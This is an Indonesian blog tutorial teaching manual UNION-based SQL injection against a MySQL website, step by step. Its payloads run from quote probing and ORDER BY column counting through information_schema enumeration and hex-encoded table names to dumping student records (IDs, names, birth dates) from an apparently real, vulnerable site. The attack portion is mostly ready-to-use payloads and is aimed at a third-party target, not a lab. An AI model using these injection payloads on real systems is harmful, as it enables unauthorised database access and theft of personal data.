Tutorial SQL Injection Manual Lengkap

Tutorial SQL Injection Manual Lengkap. Yooo… kali ini saya mau sharing sedikit tentang bagaimana cara melakukan injeksi manual pada website yang rentan terhadap serangan SQL Injection. Ya anggap saja ini biar kita paham dengan konsepnya, meskipun saat ini kalian bisa melakukan injeksi menggunakan tools seperti SQLmap maupun Havij. Oh iya, di tutorial ini yang akan saya bahas adalah sql injection manual yang dasar banget. Jadi gak ada firewall di server target, jadi gak perlu bypass waf.

Step 1 – Mengkonfirmasi Kerentanan

Pertama, kita pastikan dulu webnya vuln. Ya jelas dong, gimana mau nginject kalo webnya gak vuln h3h3. Untuk mengecek webnya vuln apa gak, kita cukup menginputkan tanda petik satu ( ‘ ). Jika muncul error, berarti vuln. Lihat ss berikut biar paham.

Dibawah ini adalah output ketika tidak kita beri tanda petik satu.

Hasilnya:

Disitu memang outputnya data tidak ditemukan. Namun error tersebut adalah error yang disebabkan data yang ktia inputkan tidak ada di database.

Sekarang kita coba tambahkan tanda petik satu.

  • Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result..

Anjay mabar. Oke kita sudah pastikan bahwa website ini kemungkinan besar vuln SQL injection. Lanjut ke tahap kedua.

Step 2 – Menentukan Balancing

Oke tahap selanjutnya adalah menentukan comment atau balancing pada payload kita. berikut daftar balancing yang sering digunakan

Ingat, balancing disini tidak bisa sembarangan. Saya lihat di banyak tutorial injeksi menyarankan penggunaan comment double dash (– –), padahal tidak semua harus menggunakan double dash.

Sebagai contoh, kita coba masukkan payload berikut

1337' --

Masih error. Kita coba lagi balancing lainnya sampai ketemu yang gak error. Oke skip aja karena saya sudah coba semua, dan ketemu balancingnya adalah

  • 1337′ #

Oke sip, setelah ketemu balancingnya, kita lanjut ke step 3.

Step 3 – Menentukan Jumlah Columns

Oke, langkah selanjutnya adalah menentukan jumlah kolom dari table di database yang digunakan oleh web tersebut. Caranya adalah menggunakan order by, dan menemukan di angka berapa terdapat error.

  • 1337′ order by 1# – Normal
  • 1337′ order by 2# – Normal
  • 1337′ order by 3# – Normal
  • 1337′ order by 4# – Normal
  • 1337′ order by 5# – Normal
  • 1337′ order by 6# – Error

Oke, error muncul di angka keenam. Yang kalau bahasa sederhananya : He, kolom keenam itu gak ada goblok. Atau dalam kata lain, jumlah kolom hanya ada 5.

Oke sekarang setelah tau jumlah kolom nya ada 5, kita lanjut ke step berikutnya.

Step 4 – Menemukan “Angka Ajaib”

Entah ini nyebutnya apa. Tapi anak-anak sering nyebutnya magic number alias angka ajaib. Angka ini bisa diperoleh dengan menjalankan payload berikut

  • 1337′ union select 1,2,3,4,5#

Sesuaikan sendiri dengan jumlah table yang kalian temukan. Tujuan dari query ini adalah untuk memeriksa apakah kita bisa menggunakan union select.

Oke, disini outputnya adalah 1,2,5,3.

Artinya kita bisa menggunakan salahsatu dari angka tersebut di step selanjutnya. Ingat, output dari setiap target berbeda-beda. Kalian bisa sesuaikan sendiri.

Step 5 – Melihat Versi Database

Langkah ini hanya untuk memastikan bahwa database yang digunakan adalah versi 5. Alasannya karena jika kita ketemu dengan web target yang menggunakan db versi 4, kita harus tebal tebakan nama table. Dan jika sudah begitu saya sendiri lebih memilih menggunakan sqlmap hehe.

Di step sebelumnya diketahui bahwa saya bisa menggunakan salahsatu dari angka 1,2,3,5. Disini saya akan menggunakan angka 5.

  • 1337′ union select 1,2,3,4,@@version#

Output

Oke, terlihat database yang digunakan adalah MySQL versi 5.7.23. Selain mengecek versi database, kita juga bisa mengecek parameter lain menggunakan fungsi berikut ini:

  • @@version — menampilkan Versi database
  • user() — menampilkan Nama User database
  • @@hostname — menampilkan Hostname
  • @@tmpdir — menampilkan Direktori temp
  • @@datadir — menampilkan Direktori data
  • @@basedir — menampilkan Direktori base
  • database() — menampilkan Nama Database
  • schema() — menampilkan Database yang dipakai
  • session_user() — menampilkan Session User

Untuk memeriksa beberapa query sekaligus, kita bisa gunakan concat. Contoh:

  • 1337′ union select 1,2,3,4,concat(@@version,schema())#

Contoh output:

Oke kita lanjut ke tahap berikutnya.

Step 6 – Memunculkan Nama Table

Selanjutnya adalah memunculkan nama table. Querynya adalah sebagai berikut

  • 1337′ union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database() #

Sebenarnya kita bisa tetap menggunakan angka ajaib 5, namun disini saya pindah ke 3 agar tidak rancu. Maksudnya agar kalian tau bahwa query ini

  • from information_schema.tables where table_schema=database()

Harus diletakkan sebelum balancing, bukan setelah grup_concat. Oke, ini outputnya:

Terdapat dua table yakni kelulusan_himameka dan testtable. Selanjutnya kita akan melihat nama kolom dari salahsatu table tersebut.

Step 7 – Memunculkan daftar Columns

Step berikutnya adalah melihat nama kolom. Disini saya akan melihat nama kolom dari table kelulusan_himameka. Namun sebelum itu, kalian harus meng-convert nama table nya menjadi bentuk hex. Kalian bisa googling sendiri “string to hex“, atau bisa gunakan tool online berikut:

  • https://www.online-toolz.com/tools/text-hex-convertor.php

kelulusan_himameka diconvert ke bentuk hex menjadi 6b656c756c7573616e5f68696d616d656b61. Tambahkan 0x didepannya menjadi 0x6b656c756c7573616e5f68696d616d656b61. 0x sendiri merupakan bentuk hex dari spasi. Dan query injeksinya menjadi

  • 1337′ union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x6b656c756c7573616e5f68696d616d656b61#

Output:

Nama kolom: nim, nama, prodi, status, tgllahir

Step 8 – Memunculkan Data dari Columns

Step terakhir dari SQl Injection adalah memunculkan data dari kolom. Query injeksinya adalah

  • 1337′ union select 1,2,group_concat(nim,0x3a,nama,0x3a,prodi,0x3a,status,0x3a,tgllahir),4,5 from kelulusan_himameka#

0x3a sendiri merupakan bentuk hex dari [ :]. Output

Oke selesai. Kalian telah menguasai tutorial bagaimana cara melakukan SQL Injection secara manual. Mungkin sekian tutorial kali ini, jika ada yang ingin ditanyakan silahkan tinggalkan komentar.

Referensi:

  • https://www.owasp.org/index.php/Comment_Injection_Attack
  • http://www.securityidiots.com/Web-Pentest/SQL-Injection/Part-3-Basic-of-SQL-for-SQLi.html
  • https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
  • https://www.exploit-db.com/papers/13045
Shares
Tags:

36 Comments

Leave a Reply